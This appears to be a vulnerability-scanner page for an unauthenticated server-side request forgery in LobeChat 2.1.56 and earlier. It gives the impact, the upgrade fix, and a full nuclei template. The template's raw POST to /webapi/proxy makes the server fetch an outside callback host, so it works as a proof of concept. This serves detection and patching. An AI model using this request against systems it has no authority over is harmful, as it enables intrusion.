LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery

mediumseverity

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.

Impact

An unauthenticated attacker can cause the server to perform arbitrary outbound HTTP requests.

Fix

Upgrade LobeHub LobeChat to version 2.1.57 or later.

How to confirm it

Send: GET /welcome
Positive when: contains(tolower(body), "lobechat") and status_code == 200
Send: POST /webapi/proxy
Positive when: status_code == 200 and contains(body, "<h1> Interactsh Server </h1>")

Run it with nuclei: nuclei -id CVE-2026-54157 -u <target>

The full check

id: CVE-2026-54157

info:
  name: LobeHub LobeChat <= 2.1.56 - Server-Side Request Forgery
  author: 0xj3st3r
  severity: medium
  description: |
    LobeHub LobeChat versions up to and including 2.1.56 are vulnerable to an unauthenticated server-side request forgery vulnerability in the /webapi/proxy endpoint. The endpoint accepts a URL in the POST request body and fetches it server-side without authentication.
  impact: |
    An unauthenticated attacker can cause the server to perform arbitrary outbound HTTP requests.
  remediation: |
    Upgrade LobeHub LobeChat to version 2.1.57 or later.
  reference:
    - https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54157
  classification:
    cve-id: CVE-2026-54157
    epss-score: 0.0183
    epss-percentile: 0.79039
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: lobehub
    product: lobe-chat
    fofa-query: icon_hash="1975020705"
  tags: cve,cve2026,lobechat,ssrf,vuln,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /welcome HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "lobechat")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /webapi/proxy HTTP/1.1
        Host: {{Hostname}}

        http://oast.me

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<h1> Interactsh Server </h1>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from